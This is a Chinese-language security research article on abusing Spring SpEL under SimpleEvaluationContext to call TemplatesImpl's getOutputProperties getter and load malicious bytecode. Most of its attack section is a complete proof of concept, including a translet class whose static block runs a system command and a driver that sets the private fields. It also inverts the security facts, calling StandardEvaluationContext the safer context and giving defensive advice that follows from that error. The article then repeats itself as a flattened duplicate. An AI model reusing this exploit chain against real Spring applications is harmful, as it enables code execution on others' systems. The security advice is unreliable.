SimpleEvaluationContext下的spel到触发getter方法的字节码加载利用研究
字数 1286 2025-08-24 07:48:10

Spring Expression Language (SpEL) 注入漏洞研究:SimpleEvaluationContext下的getter方法触发与字节码加载利用

1. 研究背景

在Spring框架中,SpEL(Spring Expression Language)是一种强大的表达式语言,用于在运行时查询和操作对象图。当使用SimpleEvaluationContext处理用户可控的表达式时,可能会存在安全风险。

2. 核心漏洞代码

public static Object eval(Object root, String expr) {
    SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(expr);
    return expression.getValue(context, root);
}

关键点:

  • root对象和expr表达式都可由攻击者控制
  • 使用SimpleEvaluationContext而非更安全的StandardEvaluationContext

3. 初始发现:getter方法的自动调用

通过测试发现,当表达式为对象属性名时,会自动调用对应的getter方法:

Person person = new Person("nn0nkey", 30);
String name = (String) eval(person, "name");  // 会自动调用getName()方法

4. 漏洞利用尝试:TemplatesImpl字节码加载

4.1 初始错误尝试

尝试直接调用TemplatesImpl._outputProperties

TemplatesImpl templates = new TemplatesImpl();
// 设置恶意字节码
String name = (String) eval(templates, "_outputProperties");  // 失败

错误原因:

  • SpEL查找的是getter方法而非字段
  • 正确的getter方法名应为outputProperties(不带下划线)

4.2 正确利用方式

TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

// 正确调用getter方法
String name = (String) eval(templates, "outputProperties");  // 触发getOutputProperties()

5. 技术原理分析

5.1 调用栈分析

关键调用路径:

  1. SpelExpression.getValue()
  2. SpelNodeImpl.getValue()
  3. PropertyOrFieldReference.getValueInternal()
  4. PropertyOrFieldReference.readProperty()
  5. ReflectivePropertyAccessor.read()

5.2 方法查找机制

findMethodForProperty方法中,Spring会:

  1. 获取目标类的所有方法
  2. 查找匹配"get" + 属性名(首字母大写)的方法
  3. 忽略方法可见性(通过ReflectionUtils.makeAccessible
  4. 不限制返回类型

关键代码:

private Method findMethodForProperty(String[] methodSuffixes, String prefix, 
                                   Class<?> clazz, boolean mustBeStatic, 
                                   int numberOfParams, Set<Class<?>> requiredReturnTypes) {
    Method[] methods = getSortedMethods(clazz);
    for (String methodSuffix : methodSuffixes) {
        for (Method method : methods) {
            if (method.getName().equals(prefix + methodSuffix) 
                && method.getParameterCount() == numberOfParams
                && (!mustBeStatic || Modifier.isStatic(method.getModifiers()))
                && (requiredReturnTypes.isEmpty() 
                    || requiredReturnTypes.contains(method.getReturnType()))) {
                return method;
            }
        }
    }
    return null;
}

6. 完整PoC实现

6.1 恶意字节码类 (Test.java)

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, 
                         SerializationHandler handler) {}
}

6.2 完整利用代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class SpelExploit {
    public static Object eval(Object root, String expr) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(expr);
        return expression.getValue(context, root);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] code = Files.readAllBytes(Paths.get("Test.class"));
        
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 触发漏洞
        eval(templates, "outputProperties");
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) 
            throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

7. 防御建议

  1. 避免使用SimpleEvaluationContext处理不可信的表达式
  2. 使用StandardEvaluationContext时严格限制可访问的类型
  3. 对用户输入的SpEL表达式进行严格过滤
  4. 升级到最新Spring版本,应用安全补丁

8. 总结

通过研究发现,在SimpleEvaluationContext下:

  • SpEL会自动调用与属性名对应的getter方法
  • 方法查找机制不限制可见性,可调用private方法
  • 结合TemplatesImplgetOutputProperties()方法可实现字节码加载
  • 关键在于正确构造方法调用表达式(使用getter方法名而非字段名)

这种利用方式比传统的SpEL注入更为隐蔽,且不需要依赖StandardEvaluationContext的完整功能。

Spring Expression Language (SpEL) 注入漏洞研究:SimpleEvaluationContext下的getter方法触发与字节码加载利用 1. 研究背景 在Spring框架中,SpEL(Spring Expression Language)是一种强大的表达式语言,用于在运行时查询和操作对象图。当使用 SimpleEvaluationContext 处理用户可控的表达式时,可能会存在安全风险。 2. 核心漏洞代码 关键点: root 对象和 expr 表达式都可由攻击者控制 使用 SimpleEvaluationContext 而非更安全的 StandardEvaluationContext 3. 初始发现:getter方法的自动调用 通过测试发现,当表达式为对象属性名时,会自动调用对应的getter方法: 4. 漏洞利用尝试:TemplatesImpl字节码加载 4.1 初始错误尝试 尝试直接调用 TemplatesImpl._outputProperties : 错误原因: SpEL查找的是getter方法而非字段 正确的getter方法名应为 outputProperties (不带下划线) 4.2 正确利用方式 5. 技术原理分析 5.1 调用栈分析 关键调用路径: SpelExpression.getValue() SpelNodeImpl.getValue() PropertyOrFieldReference.getValueInternal() PropertyOrFieldReference.readProperty() ReflectivePropertyAccessor.read() 5.2 方法查找机制 在 findMethodForProperty 方法中,Spring会: 获取目标类的所有方法 查找匹配"get" + 属性名(首字母大写)的方法 忽略方法可见性(通过 ReflectionUtils.makeAccessible ) 不限制返回类型 关键代码: 6. 完整PoC实现 6.1 恶意字节码类 (Test.java) 6.2 完整利用代码 7. 防御建议 避免使用 SimpleEvaluationContext 处理不可信的表达式 使用 StandardEvaluationContext 时严格限制可访问的类型 对用户输入的SpEL表达式进行严格过滤 升级到最新Spring版本,应用安全补丁 8. 总结 通过研究发现,在 SimpleEvaluationContext 下: SpEL会自动调用与属性名对应的getter方法 方法查找机制不限制可见性,可调用private方法 结合 TemplatesImpl 的 getOutputProperties() 方法可实现字节码加载 关键在于正确构造方法调用表达式(使用getter方法名而非字段名) 这种利用方式比传统的SpEL注入更为隐蔽,且不需要依赖 StandardEvaluationContext 的完整功能。